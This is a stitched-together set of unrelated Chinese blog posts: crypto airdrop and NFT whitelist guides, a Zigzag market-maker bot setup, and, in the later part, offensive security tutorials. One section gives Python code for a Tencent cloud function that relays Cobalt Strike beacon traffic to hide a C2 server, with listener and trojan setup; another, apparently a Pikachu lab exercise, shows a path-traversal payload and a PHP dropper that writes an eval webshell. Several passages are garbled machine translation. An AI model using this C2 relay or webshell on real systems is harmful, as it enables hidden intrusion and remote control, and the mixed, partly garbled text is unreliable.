打开L2研讨会项目的github地址.

https://github.com/matter-labs/l2-intro-pre-ethdenver

下载代码

第一步,右上角点击fork,分叉该项目到自己的github仓库中

完成后会跳转到分叉后的项目中.在如下位置复制git仓库地址

clone到本地 git clone +复制的地址复制到本地(本地需安装好git环境,可自行谷歌解决)

部署合约

使用熟悉的代码编辑器打开项目文件夹,并做如下修改,私钥不需要0x开头

安装hardhat(需要npm环境和yarn管理包,自行谷歌解决)

编译项目

部署合约到测试网(会存在网络问题,多试几次),记住构造参数和合约地址

验证合约

在2.0测试网中搜索自己的合约地址

https://goerli.explorer.zksync.io/

选择contract,会出现一个verify的按钮,点击它(忘截图了)

然后填好如下信息

源代码在Greeter.sol文件里

版本信息在hardhat.config.ts文件里

点击verify,验证成功后可以看到如下界面,可以连上自己钱包做几笔tx

申请gitpoap

合约做好后,在Deployments.md文件中按照格式添加一行

\合约地址\

保存之后git三连,上传到git仓库里

git add.
git commit -m “update“
git push

然后打开原项目方的仓库地址

https://github.com/matter-labs/l2-intro-pre-ethdenver

创建一个pr

点击Create pull request

继续

完成,等待审核

领取gitpoap

在该网站连接自己想领取gitpoap的钱包地址,然后连接刚刚使用的github地址

https://www.gitpoap.io/

点击检查,需要等审核过后

结尾

点个关注,点个爱心,谢谢家人们了

https://twitter.com/newbee740

从2022年8月8日星期一早上6点00分开始，我们将在8月余下的时间里开展多项活动。两人一组的团队将可以报名参加比赛，争夺奖品 🔥 .

🥇 1st Place 每个获胜的团队成员将获得。

• 0.05 ETH

• 1个英雄盲盒

• 30 $Might

• 2个你主动选择的徽章 🚀 : (如果已经是Mazemaster，可兑换Might) @MazeMaster II Eligible

🥈 2nd Place 第二名的队员将获得。

• 1个未公开的战利品

• 30 $Might

• 2个你主动选择的徽章 @MazeMaster II Eligible

🥉 3rd Place 第三名的队员将获得。

• 1个未公开的战利品盲盒

• 20 $Might

• 1个你主动选择的徽章 @MazeMaster II Eligible

🏆 跑步者 - 逃出迷宫

• 20 $Might

• 竞争者徽章 @MazeMaster II Eligible

🏆 逃亡者--没有逃出迷宫

• 20 $Might

• 竞争者徽章：徽章。

行动指南

简介

• 在服务器上参与活动将为你的团队赢得积分，这些积分随后将转化为一定数量的 "步数"。

• 在月末，每个团队都会得到一个我创建的不同的迷宫，你可以看到入口，但看不到迷宫本身的结构。你走的每一步都会让你看到迷宫的更多一点。你会遇到一个死胡同，不得不重走你的步骤，还是你会有一个完美的捷径，eyes:?：这将涉及到运气:RNG:，但你获得的步骤越多，你就越有可能获得最好的成绩。

• 团队排名将基于谁跑得最远（如果多个团队逃出迷宫，排名将基于谁在迷宫外走得最远）

如何获得步数 4个类别是，游戏和活动，交战，突袭，和内容。从8月8日到8月31日，你将可以在这些类别中获得积分。

游戏和活动

• 每次你的团队参与游戏或活动，你将获得该类别的积分，最高可达25分。只要你的团队中有一名成员参加，就可以算作是一个积分：Mariostar:。如果你的团队主持了一场比赛或活动，它将获得2分（每个团队的上限是每周主持一场比赛/活动）。

参与度

• 在聊天中表现活跃的团队将在这个类别中获得最多25分的额外分数。这方面的得分将由Deepak、Elite和我根据我们的观察而不是信息计数来判断，因为我们不希望人们感到有压力去 "磨练"。

突袭（推特转发） 这是一个直接的问题，你参加的突袭越多，你将得到更多的分数/25! 由于我还不知道8月8日至31日我们会有多少次突袭，所以这将是基于百分比的。因此，如果你的团队在那段时间内100%参与了突袭，你将获得25/25的积分。

内容

• 创造两件Crypto Maze的内容（每个团队成员一件）。它可以是任何与加密迷宫相关的创意，艺术，传说，音乐，文章，如果它是你的原创内容，它就有资格：💪 。每件内容都将得到25分的评分。

所有这些加起来的最高分可能是100分（每个类别25分）。由于迷宫仍在创建中，我将在以后计算出最高分的步骤。

希望参加比赛的人可以在这里注册他们的团队：https://docs.google.com/forms/d/1bly7sQ_QqUAxFM_W8lLvvQbyemOhd9Jbe8_UIFpngtc

discord中 👥│find-a-team 供那些需要找到伙伴的人使用 🙂

推特：

https://twitter.com/cryptomazeapp?s=21&t=ClPL5tKR7TYr4I06nZCefQ

不和谐：

https://discord.gg/GHVN7F6e

网站：

https://www.cryptomaze.app/

https://fanyi.qq.com/

下载安装后是这样的

上滑屏幕进入同声传译。

如果收听英文ama则点击上半部分屏幕开始录音即可。软件会实时录音英语，并转换成中文显示出来，也可以在设置中设置其他语言及语音播放等功能。

我会为大家讲解，如何成为Cryptomaze创世3333白名单中的一员。简单点就是完成活动，获得积分，兑换白名单以及高级白名单，大概有一个月时间。

官网：

https://www.cryptomaze.app/#

推特地址：

https://twitter.com/cryptomazeapp

Discord中文频道：

https://discord.gg/cryptomazeapp

白皮书：

https://cdn.discordapp.com/attachments/981659165904736256/981668980987166750/CryptoMaze_Pitch_Deck-bl_v2.3.pdf

Cryptomaze是基于Zksync生态之上的第一款移动端元宇宙链游

一切从Crypto Maze和3333个超级稀有的NFT mint开始！

在接下来的几周和几个月里，你可以期待-空投、身份组、社区建设、许多大的合作伙伴（包括风险投资基金、具有很大影响力的大V、游戏公会、交易所等）

那么你们可以做些什么参与进来呢？

1）积极参与社区各大活动，保持较高的活跃度。比如在频道中多互动，积极参与AMA。

2）用个人资料图片、横幅、标签代表项目，参加比赛并增加价值。

3）为社区贡献。包括但不限于为项目提供有创意的想法，在社交媒体发表你对项目的看法及帮助宣发，制作项目周边、表情包、logo等等。 我们将会不断在各种活动中给参与者“Might”代币作为奖励（“Might”可用于兑换白名单），收集到20个“Might”即可兑换白名单。

🕹 $might与徽章作用🕹

1）收集__20 个$might__ 即可到might shop频道发送“I want to be aMAZEd” 获得白名单(aMAZEd role) 2）集齐__5个徽章__可获得高级白名单，高级白能够mint 2 个Crypto Maze NFT 并且给予提名別人成为高级白名单的权利

可获得$might的活动

日常活动

-参加社区ama，并且提问互动 (1～2 $might)

-参加社区举办的游戏，并且获胜 (1 $might) GAME频道获取实时活动

-參加項目任务 並且把截圖發至raid submissions频道(1 $might) 当前任务： 点赞转发如下两条推特，截图发至#📝😈│raid-submission频道中 https://twitter.com/CryptoMazeApp/status/1533750411546484736?s=20&t=3PtwBFuExJdBaq7PvSKSNA https://twitter.com/zksync/status/1533748375744663552?s=20&t=3PtwBFuExJdBaq7PvSKSNA

徽章活动

获得社区徽章(每個徽章提供4 $might )

语音获得： vc语音频道活跃，开启麦克风与mod和项目方互动，主办主持活动等 （总结：语音频道有活动时，多说话，多互动。）

社群获得：不同频道活跃，提出建议 （总结：dc社区保持活跃，帮助新人，提供建议）

媒体获得： 推特互动，宣传文章 （总结：推特，油管，等社交平台帮助宣发）中文区内容@feichi.eth审核

创意获得： 创作 meme,art （总结：制作项目周边，创作表情包，logo,小图片等）

抽奖获得： 随机时间会在频道限时一分钟的抽奖，一分钟内参与互动，完成抽奖 （总结：dc社区保持活跃，激励在线，否则随机的一分钟的抽奖赶不上）

身份活动

**OG：**第一批的成員，提供8個 $might 幣 (会在中文区重新开放）

**Maze Runner：**社区第667-1332 成員，提供5 $might 幣 (会在中文区重新开放）

**Maze Fighter：**此role 現在尚没满额， 提供3 $might币

**aMAZEd：**此項目的白名單，需拿到20 $might 币來兌換

**MazeMaster ：**高級白名單，需集齐五個徽章可获得高級白，高級白能夠mint 2 個Crypto Maze NFT 並且給予提名別人成為MazeMaster 权利

zkRollups的领先者是zkSync和starknet。当你体验他们超快的转账速度和极低gas时，你无可避免使用他们生态目前唯一的Dex — Zigzag

本文介绍如何简单快速的运行做市机器人，抛去繁杂的操作，只需要拥有一台服务器，小白也能无脑运行机器人。

discord链接

https://discord.gg/nm7Qmp3v

第一步

获得一个ubuntu服务器，此处我用的是腾讯云的服务器。原因有二，1是国内大厂，微信即可付款，不需要去国外厂商注册kyc,还要visa卡，paypal付款。二价格便宜，32款钱一个月，折合5U不到。购买路径如下

购买链接

https://curl.qcloud.com/AVzuhpfO

购买方式

套餐可按需求购买时常，个人建议买32元/月，时常一年。因为zigzag机器人会不定时抽查，查到机器人不在运行，会被取消身份。同时，其他项目现在很多也需要服务器去运行一些任务，一举多得。

购买完成后，点击右上角控制台，进入控制台后搜索轻量应用服务器

即可看到已购买的服务器

红框位置为ip地址

api公钥

官网注册登录，然后申请API https://cryptowat.ch/zh-cn/home

获得公钥

连接服务器

进入服务器详情后，点击一键登陆即可登录服务器

复制如下代码，更改其中的api喂价公钥，和钱包私钥为自己的

git clone https://github.com/ZigZagExchange/market-maker.git
cp market-maker/config.json.EXAMPLE market-maker/config.json
sed -i 's/"cryptowatchApiKey": "aaaaxxx",/"cryptowatchApiKey": "api喂价公钥",/' market-maker/config.json
sed -i 's/"",/"钱包私钥",/' market-maker/config.json
sed -i 's/"maxSize": 100,/"maxSize": 0.1,/' market-maker/config.json
sed 's/"active": true/"active": false/g' market-maker/config.json
sed -i 's/"active": false/"active/": true/' market-maker/config.json
curl -sL https://deb.nodesource.com/setup_16.x | sudo -E bash -
sudo apt install -y nodejs
cd market-maker
npm install
npm i pm2 -g
pm2 start marketmaker.js

整个粘贴进服务器即可

需要查看运行日志

tail -f /root/.pm2/logs/marketmaker-out.log 

结语

zksyn牛逼，zigzag牛逼

我的推特是

https://twitter.com/newbee740/

有问题来dc找我，我的id 是

Newbee740|ChainIN#6794

cs利用函数进行主机上线转换后，可以隐藏自己的云函数对css之间的网络转换进行中转，所以在ca中查看域名请求的所有连接时，查看云函数的请求地址，而在css看到了来自云函数的服务员的

云函数配置

腾讯云

我这里使用的是腾讯函数，家庭的云函数也很大不差。我们首先需要注册一个账号，打开其中的云函数功能。

新建云函数

选择自定义创建，名称随意，运行环境python3.6

云函数

直接使用网上流传的代码代码

注意替换自己的ip和端口为主机监听的ip和端口

# -*- coding: utf8 -*-
import json,base64,requests
def main_handler(event,context):
    C2 = 'http://ip:port'
    headers = event['headers']
    path = event['path']
    ip = event['requestContext']['sourceIp']
    headers = event['headers']
    headers['X-Forwarded-For'] = ip
    print(event)
    if event['httpMethod'] == 'GET':
        resp = requests.get(C2+path,headers=headers,verify=False)
    else:
        resp = requests.post(C2+path,data=event['body'],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)

    response={
        "isBase64Encoded":True,
        "statusCode":resp.status_code,
        "headers":dict(resp.headers),
        "body":str(base64.b64encode(resp.content))[2:-1]
    }
    return response

点击完成即可

配置触发网关

触发方式选择API网关触发集成请求

提交，获取API配置相关信息

记住访问路径，需要使用

https://service-l6pw2mll-1301629007.sh.apigw.tencentcs.com/release/cs_tencent

点击api服务名，进入配置API

修改路径为/

完成发布服务

cs配置

监听器一

添加监听器，这个监听器生成shellcode，但是实际使用不需要连接请求80个端口，也可以使用其他shellcode，生成器连接到腾讯云函数的cs shellcode，则可能需要生成监听器

这里需注意坑点：

• HTTP Hosts 是记住的域名部分，不可访问协议和后面的路径

• Beacon HTTP端口必须为80,Beacon HTTPS端口必须为443

点击生成

监听器二

添加监听器二，这个监听器为真正接受Beacon回连的监听器，使用Payload需与监听器一相同

HTTP Hosts 为自己的服务器IP

港口为自己建会港口

需要与云函数代码配置中的IP端口保持一致

点击生成

测试上线

生成测试木马

监听器选择最成先生的监听器一，即监听云域的监听器

上线运行

这里ip是云中举办的转，所以来源是云中举办的ip

坑点

测试的时候使用插件，发现k8大佬的Ladon怎么都用不了，直接上传源程序到Beacon中也无法上传

折腾了好久，最终定位到了问题点

原因是因为此时云函数配置中的把命令连传中，因为Beacon传，转向服务器再将文件中处理所以，等会执行。原因是经过测试，可能上传的kb文件。

时间解决方法很简单，直接拉满就可以了

然后可以正常执行命令

导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

数据流:攻击者—–>服务器—->目标地址

简单理解：服务器接受了客户端输入的URL，然后服务器端拿URL去请求并返回给你。

File Inclusion(文件包含漏洞)，是一个功能。在各种开发语言中都提供了内置的文件包含函数，其可以使开发人员在一个代码文件中直接包含（引入）另外一个代码文件。 比如 在PHP中，提供了： include(),include_once(),require(),require_once(),这些文件包含函数在代码设计中被经常使用到。

大多数情况下，文件包含函数中包含的代码文件是固定的，因此也不会出现安全问题。 但是，有些时候，文件包含的代码文件被写成了一个变量，且这个变量可以由前端用户传进来，这种情况下，如果没有做足够的安全考虑，则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行，从而造成恶意操作。

文件包含函数

include( )

当使用该函数包含文件时，只有代码执行到 include()函数时才将文件包含 进来，发生错误时之给出一个警告，继续向下执行。

include_once( )

功能与 Include()相同，区别在于当重复调用同一文件时，程序只调用一次

require( )

require()与 include()的区别在于require()执行如果发生错误，函数会输出 错误信息，并终止脚本的运行。

require_once( )

功能与 require()相同，区别在于当重复调用同一文件时，程序只调用一次。

Local

本地文件包含漏洞：仅能够对服务器本地的文件进行包含，由于服务器上的文件并不是攻击者所能够控制的，因此该情况下，攻击着更多的会包含一些 固定的系统配置文件，从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞，从而形成更大的威力。

源码分析：

if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "include/$filename";
}

$_GET['filename']参数开发者没有经过严格的过滤，直接带入了include的函数，攻击者可以修改filename的值，执行非预期的操作。

安全的写法:

使用白名单，严格指定包含的文件名

if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' ||             $filename=='file4.php' || $filename=='file5.php'){
         include "include/$filename";
}

Linux 或Windows，我们都可以使用 “../” 的方式进行目录穿越，读取其他目录下的文件

## payload

?filename=../../../../Windows/System32/drivers/etc/hosts #读取本地域名解析文件

Rrmote

远程文件包含漏洞：能够通过url地址对远程的文件进行包含，这意味着攻击者可以传入任意的代码，这种情况没啥好说的，准备挂彩。因此，在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数，如果非要这么做，也一定要做严格的白名单策略进行过滤。

注意：远程包含漏洞的前提：如果使用的incldue和require，则需要在phpStudy或php.ini中配置开启下面选项

allow_url_fopen=on //默认打开
allow_url_include=on //默认关闭

源码分析：

if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "$filename";
}

跟上面本地代码一样，变量传进来直接包含,没做任何的安全限制

打开平台，选择一个选项。同样是通过传递一个文件名进行包含的

http://127.0.0.1/pikachu-master/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4

因为这个限制只能读取txt文件,这里txt会被解析成php执行，所以我们写一个yijuhua.txt文件执行过后让他自己生成木马

<?php
$myfile = fopen("yijuhua.php", "w");
$txt = '<?php @eval($_POST['x']);?>';
fwrite($myfile, $txt);
fclose($myfile);
?>

payload:

?filename=http://127.0.0.1/pikachu-master/test/yijuhua.txt

运行之后果然产生了一句话木马文件

用蚁剑进行连接

连接成功